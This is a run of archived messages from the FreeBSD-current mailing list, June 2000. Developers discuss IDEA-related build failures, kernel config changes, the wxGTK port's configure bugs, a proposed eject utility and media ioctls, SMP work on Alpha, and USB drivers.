Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 8FD5B37B76B; Fri, 23 Jun 2000 07:31:58 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135UUp-0000Bc-00; Fri, 23 Jun 2000 16:31:51 +0200 From: Sheldon Hearn To: Mark Murray Cc: Jun Kuriyama , Current Subject: Re: Missing openssl/idea.h? In-reply-to: Your message of "Fri, 23 Jun 2000 08:36:32 +0200." <200006230636.IAA07221@grimreaper.grondar.za> Date: Fri, 23 Jun 2000 16:31:51 +0200 Message-ID: <719.961770711@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000 08:36:32 +0200, Mark Murray wrote: > > Building world failed on my machine... (with USA_RESIDENT=NO) > > > > Does IDEA stuff compiled by default? > > I messed this up. Fix coming. Current sources as of 10H40 on 23 June 2000 build and install without problems (provided one pays attention to the new world order with respect to config(8)). The kernel boots and the system lives at least as long as it took me to type and send this message. :-) I can't find any local deltas in either of src/secure and src/crypto which might influence this. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:34:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 35C1237BA34; Fri, 23 Jun 2000 07:34:44 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135UX7-0000DO-00; Fri, 23 Jun 2000 16:34:13 +0200 From: Sheldon Hearn To: Alexander Leidinger Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG, sos@FreeBSD.ORG Subject: Re: Missing dependancies after config changes (atapi) In-reply-to: Your message of "Thu, 22 Jun 2000 16:34:13 +0200." <200006221434.QAA00744@Magelan.Leidinger.net> Date: Fri, 23 Jun 2000 16:34:12 +0200 Message-ID: <829.961770852@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 22 Jun 2000 16:34:13 +0200, Alexander Leidinger wrote: > Unfortunally I haven't seen someone else complain about this. Can some > reproduce this? Nope, I built an ata + atadisk + atapicd kernel today from sources dated 10H40 on 23 June 2000 without a problem. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:37:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from hyde.ssec.wisc.edu (hyde.ssec.wisc.edu [144.92.108.217]) by hub.freebsd.org (Postfix) with ESMTP id 8ECC237BA36 for ; Fri, 23 Jun 2000 07:37:34 -0700 (PDT) (envelope-from dglo@hyde.ssec.wisc.edu) Received: from hyde.ssec.wisc.edu (dglo@localhost [127.0.0.1]) by hyde.ssec.wisc.edu (8.9.3/8.9.3) with ESMTP id JAA05529; Fri, 23 Jun 2000 09:37:19 -0500 (CDT) Message-Id: <200006231437.JAA05529@hyde.ssec.wisc.edu> To: "Daniel C. Sobral" Cc: "Jordan K. Hubbard" , current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development In-reply-to: Your message of "Fri, 23 Jun 2000 13:59:14 +0900." <3952EEA2.BC2EF0B6@newsguy.com> Date: Fri, 23 Jun 2000 09:37:19 -0500 From: Dave Glowacki Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" wrote: > "Jordan K. Hubbard" wrote: > > > > Everyone talks about using bitkeeper but none of the people who > > recommend it have ever actually tried to use it for anything. > > Before such recommendations will bear weight, this needs to > > change. :) > > OCVS? (Or was it OVCS? I can never recall...) I know of at least 4 open source successors to CVS: Eivind Eklund's OVCS http://www.OpenVCS.org/ Josh MacDonald's PRCS http://www.cs.berkeley.edu/~jmacd/prcs.html Jonathan Shapiro's DCMS http://www.eros-os.org/~majordomo/dcms-dev/ tigris.org's Subversion http://subversion.tigris.org/ Of these, PRCS the only one out of the design phase, though it doesn't yet have a client-server mode. Oh yeah, there's Bitkeeper too, but it's not really open source... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:39:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from lola.heim10.tu-clausthal.de (lola.heim10.tu-clausthal.de [139.174.241.25]) by hub.freebsd.org (Postfix) with ESMTP id 802AD37BA3A; Fri, 23 Jun 2000 07:39:18 -0700 (PDT) (envelope-from norbert.irmer@heim9.tu-clausthal.de) Received: from heim9.tu-clausthal.de (localhost.heim10.tu-clausthal.de [127.0.0.1]) by lola.heim10.tu-clausthal.de (8.9.3/8.9.3) with ESMTP id QAA34040; Fri, 23 Jun 2000 16:39:16 +0200 (CEST) (envelope-from norbert.irmer@heim9.tu-clausthal.de) Message-ID: <39537693.1617ECC1@heim9.tu-clausthal.de> Date: Fri, 23 Jun 2000 16:39:15 +0200 From: Norbert Irmer X-Mailer: Mozilla 4.72 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: nectar@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: Problems building ports/x11-toolkits/wxGTK References: <39536EFF.215A7623@heim9.tu-clausthal.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry, it should be: /usr/include/X11 -> /usr/X11R6/include/X11 and CONFIGURE_ENV= GTK_CONFIG="${X11BASE}/bin/gtk12-config"\ CCFLAGS="-I${X11BASE}/include"\ LDFLAGS="-L${X11BASE}/lib" Norbert Irmer wrote: > > Hello, > > I tried to build the wxGTK-2.1.16 port, and noticed that > a few AC_CHECK(..) macros in the configure script > don't work. > > The first header file which is not found is > > > > because on FreeBSD systems there is no link > > /usr/include/X11 -> /usr/X11R6/include > > (shouldn't there be such a link ? - i heard this is a standard) > > The opengl header file is also not found, and > the link test with "libGL" or "libMesaGL" fails too. > > And shouldn't there be a line in the Makefile of the port > which shows how to compile wxGTK with opengl support ? > (it took me an hour to find out how to do this!) > > So i would propose to make the following changes to the > ports Makefile: > > CONFIGURE_ENV= GTK_CONFIG="${X11BASE}/bin/gtk12-config"\ > CCFLAGS="-I/usr/X11R6/include"\ > LDFLAGS="-L/usr/X11R6/lib" > > CONFIGURE_ARGS= "--with-opengl=yes" > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:40:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 2B43F37B938; Fri, 23 Jun 2000 07:40:34 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id D55A99B36; Fri, 23 Jun 2000 09:40:32 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id A1B101DC6; Fri, 23 Jun 2000 09:40:31 -0500 (CDT) Date: Fri, 23 Jun 2000 09:40:31 -0500 From: "Jacques A . Vidrine" To: Norbert Irmer Cc: current@FreeBSD.ORG, freebsd-ports@freebsd.org Subject: Re: Problems building ports/x11-toolkits/wxGTK Message-ID: <20000623094031.G76049@bone.nectar.com> Reply-To: freebsd-ports@freebsd.org Mail-Followup-To: "Jacques A . Vidrine" , Norbert Irmer , current@FreeBSD.ORG, freebsd-ports@freebsd.org References: <39536EFF.215A7623@heim9.tu-clausthal.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39536EFF.215A7623@heim9.tu-clausthal.de>; from norbert.irmer@heim9.tu-clausthal.de on Fri, Jun 23, 2000 at 04:06:55PM +0200 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Please send followups to -ports, where this belongs.] On Fri, Jun 23, 2000 at 04:06:55PM +0200, Norbert Irmer wrote: > I tried to build the wxGTK-2.1.16 port, and noticed that > a few AC_CHECK(..) macros in the configure script > don't work. > > The first header file which is not found is > > > > because on FreeBSD systems there is no link > > /usr/include/X11 -> /usr/X11R6/include > > (shouldn't there be such a link ? - i heard this is a standard) No, there should not be a link from /usr/include/X11 -> /usr/X11R6/include. However, I guess there is a bug in the configure script. At that point configure has already found the X11 include files, but then it doesn't use them (see around line 1445 of `configure.in' for all of the directories searched for X11 header files). I'll fix when I get the chance. Hmm, wxGTK doesn't use this information anyway (no reference to HAVE_X11_XKBLIB_H in the sources). > The opengl header file is also not found, and > the link test with "libGL" or "libMesaGL" fails too. It fails for the same reasons as the test for . > And shouldn't there be a line in the Makefile of the port > which shows how to compile wxGTK with opengl support ? > (it took me an hour to find out how to do this!) I suppose it would be nice if there was a WANT_OPENGL knob. I'll add one. > So i would propose to make the following changes to the > ports Makefile: > > > CONFIGURE_ENV= GTK_CONFIG="${X11BASE}/bin/gtk12-config"\ > CCFLAGS="-I/usr/X11R6/include"\ > LDFLAGS="-L/usr/X11R6/lib" That's a quickie fix. I'll try to see what is wrong with the configure script so we can send the fix back to the author. > CONFIGURE_ARGS= "--with-opengl=yes" One would have to include dependencies for Mesa as well, which is why I'll wrap such with a WANT_OPENGL knob. Thanks for your report, -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:44:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id D19D437C365 for ; Fri, 23 Jun 2000 07:44:50 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id KAA88530 for current@freebsd.org; Fri, 23 Jun 2000 10:44:49 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <200006231444.KAA88530@blackhelicopters.org> Subject: new kernel, pcm vanishes To: current@freebsd.org Date: Fri, 23 Jun 2000 10:44:49 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I had a pre-config-change kernel that picked up my PCM audio nicely pcm0: at port 0x220-0x233,0x530-0x537,0x388-0x38f,0x330-0x333,0x538-0x539 irq 5 drq 1,0 on isa0 Today, with a post-config-change kernel, I don't detect it at boot. Both kernel configs have the same pcm config line: device pcm Any thoughts? ==ml To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:46:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns1.sunesi.net (ns1.sunesi.net [196.15.192.194]) by hub.freebsd.org (Postfix) with ESMTP id A572137C346; Fri, 23 Jun 2000 07:46:45 -0700 (PDT) (envelope-from nbm@sunesi.net) Received: from nbm by ns1.sunesi.net with local (Exim 3.03 #1) id 135Uj4-0006UH-00; Fri, 23 Jun 2000 16:46:34 +0200 Date: Fri, 23 Jun 2000 16:46:34 +0200 From: Neil Blakey-Milner To: Sheldon Hearn Cc: Mark Murray , Jun Kuriyama , Current Subject: Re: Missing openssl/idea.h? Message-ID: <20000623164634.A24869@mithrandr.moria.org> References: <200006230636.IAA07221@grimreaper.grondar.za> <719.961770711@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <719.961770711@axl.ops.uunet.co.za>; from sheldonh@uunet.co.za on Fri, Jun 23, 2000 at 04:31:51PM +0200 Organization: Sunesi Clinical Systems X-Operating-System: FreeBSD 3.3-RELEASE i386 X-URL: http://rucus.ru.ac.za/~nbm/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri 2000-06-23 (16:31), Sheldon Hearn wrote: > Current sources as of 10H40 on 23 June 2000 build and install without > problems (provided one pays attention to the new world order with > respect to config(8)). The kernel boots and the system lives at least > as long as it took me to type and send this message. :-) > > I can't find any local deltas in either of src/secure and src/crypto > which might influence this. Do you have "WITH_IDEA" set? I had to manually set CFLAGS+= -DNO_IDEA in secure/libssh, secure/ssh, secure/ssh-keygen, and secure/sshd's Makefile from about 6 hours ago or so. (well, a .if !defined(WITH_IDEA) CFLAGS+= -DNO_IDEA .endif ) Neil -- Neil Blakey-Milner Sunesi Clinical Systems nbm@mithrandr.moria.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:48:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 7ECBD37C349; Fri, 23 Jun 2000 07:48:40 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135Ukr-0001aO-00; Fri, 23 Jun 2000 16:48:25 +0200 From: Sheldon Hearn To: Neil Blakey-Milner Cc: Mark Murray , Jun Kuriyama , Current Subject: Re: Missing openssl/idea.h? In-reply-to: Your message of "Fri, 23 Jun 2000 16:46:34 +0200." <20000623164634.A24869@mithrandr.moria.org> Date: Fri, 23 Jun 2000 16:48:25 +0200 Message-ID: <6099.961771705@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000 16:46:34 +0200, Neil Blakey-Milner wrote: > Do you have "WITH_IDEA" set? I had to manually set CFLAGS+= -DNO_IDEA > in secure/libssh, secure/ssh, secure/ssh-keygen, and secure/sshd's > Makefile from about 6 hours ago or so. I don't think so... $ grep IDEA /etc/make.conf /etc/defaults/make.conf $ Where is it defined, or am I looking in the right place? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 8:21:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id BB10437B721; Fri, 23 Jun 2000 08:21:11 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id 173259B36; Fri, 23 Jun 2000 10:21:11 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id B2C041DC6; Fri, 23 Jun 2000 10:21:08 -0500 (CDT) Date: Fri, 23 Jun 2000 10:21:08 -0500 From: "Jacques A . Vidrine" To: Brian Fundakowski Feldman Cc: Wes Peters , Greg Lehey , FreeBSD current users , FreeBSD-arch@FreeBSD.ORG Subject: Re: -e option to umount? Message-ID: <20000623102108.H76049@bone.nectar.com> Reply-To: freebsd-current@freebsd.org Mail-Followup-To: "Jacques A . Vidrine" , Brian Fundakowski Feldman , Wes Peters , Greg Lehey , FreeBSD current users , FreeBSD-arch@FreeBSD.ORG References: <395265AA.AEC5EB8@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from green@FreeBSD.org on Thu, Jun 22, 2000 at 01:44:47PM -0700 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [I think this thread belongs only on -current for the moment. Please followup there.] On Thu, Jun 22, 2000 at 01:44:47PM -0700, Brian Fundakowski Feldman wrote: > For what it's worth, there's a port, ports/sysutils/eject, which is made > to do this. I'm not one to deny a simple feature in the base system, > though, even if this feature is not /really/ that simple. There are two problems with ports/sysutils/eject: = It uses only CDIOCEJECT, which will not work for all removable media (e.g. SCSI disks, tapes). = It tries to unmount the device after ejecting it. This doesn't make since for all devices. Even for those that it _does_ make sense, it can be hard to correctly determine how (by what name) the device is mounted. So I wrote a simple utility that ejects media as follows: = Check to see if the given device is known to cam, and if so use camlib to eject it. = If that doesn't work, try the CDIOCEJECT ioctl. = If that didn't work, give up. It is available as a port at: http://www.nectar.com/freebsd/neject.tar Included in the port distfile is a patch (umount.patch) that adds a `-e' option to umount. If you use it, then umount will run eject for each local filesystem that is unmounted. I figure umount should call eject, rather than the other way around, since umount already knows the device name and mount point. I actually think that there should be load/eject media ioctls defined that are not specific to CDs. I'll post a separate message to that effect on -current. -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 8:38:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 46DEE37B8A3 for ; Fri, 23 Jun 2000 08:38:24 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id 74CFB9B37 for ; Fri, 23 Jun 2000 10:38:23 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id 31E841DC6; Fri, 23 Jun 2000 10:38:23 -0500 (CDT) Date: Fri, 23 Jun 2000 10:38:22 -0500 From: "Jacques A . Vidrine" To: FreeBSD current users Subject: comments wanted: media load/eject ioctls (was Re: -e option to umount?) Message-ID: <20000623103822.I76049@bone.nectar.com> Mail-Followup-To: "Jacques A . Vidrine" , FreeBSD current users References: <395265AA.AEC5EB8@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from green@FreeBSD.org on Thu, Jun 22, 2000 at 01:44:47PM -0700 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We've had a CDIOCEJECT ioctl `forever'. Several drivers support it, such as cd, acd, and wfd. However, there are other drivers that support removable media but do not support CDIOCEJECT: da and sa. Likewise we have CDIOCCLOSE which should cause a device to load its media. I want to add these ioctls to da and sa [1]. I don't like the CDIO name, though. I'd like to give these ioctls a different name. I'm not sure what header file might be appropriate for them. I'd like to keep the new ioctls binary-compatible with CDIOC(EJECT|CLOSE)-- i.e. use ioctls 24 & 28. Or maybe I'm the only one who wouldn't like to invoke the name CDIOCEJECT to unload a tape :-) Thanks, -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org [1] Are there other drivers which should support media load/eject, that do not already? Do any systems have system-ejectable PC cards for example (never seen such myself)? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 8:48:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id D7D6A37B5E2 for ; Fri, 23 Jun 2000 08:48:40 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id IAA26235; Fri, 23 Jun 2000 08:48:19 -0700 Date: Fri, 23 Jun 2000 08:48:21 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Greg Lehey Cc: Matthew Dillon , Bernd Walter , current@FreeBSD.ORG, Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <20000622135656.D845@sydney.worldwide.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 22 Jun 2000, Greg Lehey wrote: > On Thursday, 22 June 2000 at 10:07:38 -0700, Matthew Dillon wrote: > > > >> On Mon, Jun 19, 2000 at 05:34:47PM -0700, Matthew Dillon wrote: > >>> > >>> Ok, I have put up a web page that will track my efforts. > >>> > >>> http://apollo.backplane.com/FreeBSDSmp/ > >> > >> Your first patchset contains only i386 code. > >> What is the timeframe for alpha relative to i386? > >> Will each i386 code step converted to it a short time later or finally > >> after the i386 code completely has been stabilized? > > > > The alpha code is going to be dealt with by the alpha guys. I am > > not an alpha assembly programmer. There is going to be considerably > > more breakage for the alpha port in the next month then the i386 port, > > but hopefully it will get worked out. > > Hmm. This adds another dependency. We will really need to get the > Alpha code in place before we can commit anything. Is there anybody > out there who can do this? If neither Doug nor Andrew have volunteered for this, I'll take it on. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9: 9:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 4CD9037BAA0; Fri, 23 Jun 2000 09:09:12 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135W0q-00008r-00; Fri, 23 Jun 2000 18:09:00 +0200 From: Sheldon Hearn To: Alexander Leidinger , current@FreeBSD.ORG, peter@FreeBSD.ORG, sos@FreeBSD.ORG Subject: Re: Missing dependancies after config changes (atapi) In-reply-to: Your message of "Fri, 23 Jun 2000 16:34:12 +0200." <829.961770852@axl.ops.uunet.co.za> Date: Fri, 23 Jun 2000 18:09:00 +0200 Message-ID: <548.961776540@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000 16:34:12 +0200, Sheldon Hearn wrote: > Nope, I built an ata + atadisk + atapicd kernel today from sources dated > 10H40 on 23 June 2000 without a problem. GMT Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9: 9:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id AB8B237C3C8; Fri, 23 Jun 2000 09:09:34 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135W19-000098-00; Fri, 23 Jun 2000 18:09:19 +0200 From: Sheldon Hearn To: Mark Murray , Jun Kuriyama , Current Subject: Re: Missing openssl/idea.h? In-reply-to: Your message of "Fri, 23 Jun 2000 16:31:51 +0200." <719.961770711@axl.ops.uunet.co.za> Date: Fri, 23 Jun 2000 18:09:19 +0200 Message-ID: <565.961776559@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000 16:31:51 +0200, Sheldon Hearn wrote: > Current sources as of 10H40 on 23 June 2000 build and install without > problems [...] GMT Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9:22: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by hub.freebsd.org (Postfix) with ESMTP id 283E837C3AB; Fri, 23 Jun 2000 09:21:56 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 135WDJ-00038S-0X; Fri, 23 Jun 2000 17:21:53 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id RAA28473; Fri, 23 Jun 2000 17:22:24 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id QAA02156; Fri, 23 Jun 2000 16:57:30 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Fri, 23 Jun 2000 16:57:29 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Warner Losh Cc: Mike Smith , freebsd-current@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: Unknown Devices In-Reply-To: <200006221936.NAA91645@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > : > usb tty and modems aren't supported, as far as I know. > : > : They're "nearly" there, AFAIR. I sent Nick some code a while back that > : addressed the last problem I understood he had. > > I'll have to ask him about it then. Picked it up, looked at it, got distracted by Reality and must have dropped it again. I wish Reality would just back off for a while... Yes, the driver is here and it seems to work according to Mike Meyer (IIRC), he's fixed up a few other bits and pieces and I am ready to commit it, but I haven't had time to test it yet. Nick -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9:22:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131]) by hub.freebsd.org (Postfix) with ESMTP id C969337C3AE; Fri, 23 Jun 2000 09:21:58 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout0.freenet.de with esmtp (Exim 3.14 #3) id 135WDL-00063T-00; Fri, 23 Jun 2000 18:21:55 +0200 Received: from [213.6.59.174] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 135WDL-00076Z-00; Fri, 23 Jun 2000 18:21:55 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id SAA03706; Fri, 23 Jun 2000 18:21:49 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006231621.SAA03706@Magelan.Leidinger.net> Date: Fri, 23 Jun 2000 18:21:48 +0200 (CEST) From: Alexander Leidinger Subject: Re: Missing dependancies after config changes (atapi) To: sheldonh@uunet.co.za Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG, sos@FreeBSD.ORG In-Reply-To: <829.961770852@axl.ops.uunet.co.za> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 23 Jun, Sheldon Hearn wrote: >> Unfortunally I haven't seen someone else complain about this. Can some >> reproduce this? > > Nope, I built an ata + atadisk + atapicd kernel today from sources dated > 10H40 on 23 June 2000 without a problem. Strange... I haven't anything modified in my local tree which could result in such behavior: ---snip--- (24) root@ttyp1# grep ^M /usr/src/update.log M sbin/dump/dumprmt.c M sbin/dump/itime.c M sbin/dump/main.c M sbin/dump/optr.c M sbin/dump/tape.c M sbin/restore/dirs.c M sbin/restore/symtab.c M sbin/restore/tape.c M sys/kern/kern_exec.c Merging differences between 1.13 and 1.14 into forward.c M usr.bin/tail/tail.c M usr.sbin/ntp/config.h M usr.sbin/ntp/ntpd/Makefile ---snip--- Thanks, Alexander. -- The dark ages were caused by the Y1K problem. http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9:44: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id C3A7637B729; Fri, 23 Jun 2000 09:44:05 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id JAA10742; Fri, 23 Jun 2000 09:41:31 -0700 (PDT) (envelope-from dillon) Date: Fri, 23 Jun 2000 09:41:31 -0700 (PDT) From: Matthew Dillon Message-Id: <200006231641.JAA10742@apollo.backplane.com> To: Poul-Henning Kamp Cc: Peter Wemm , Adrian Chadd , Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c References: <669.961737829@critter.freebsd.dk> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :Right, but if mounting with -osoftdep, does what a "tunefs -n enable" :does (and vice versa) fsck will have that knowledge and the tunefs :step would be un-needed. : :-- :Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 Slight problem: 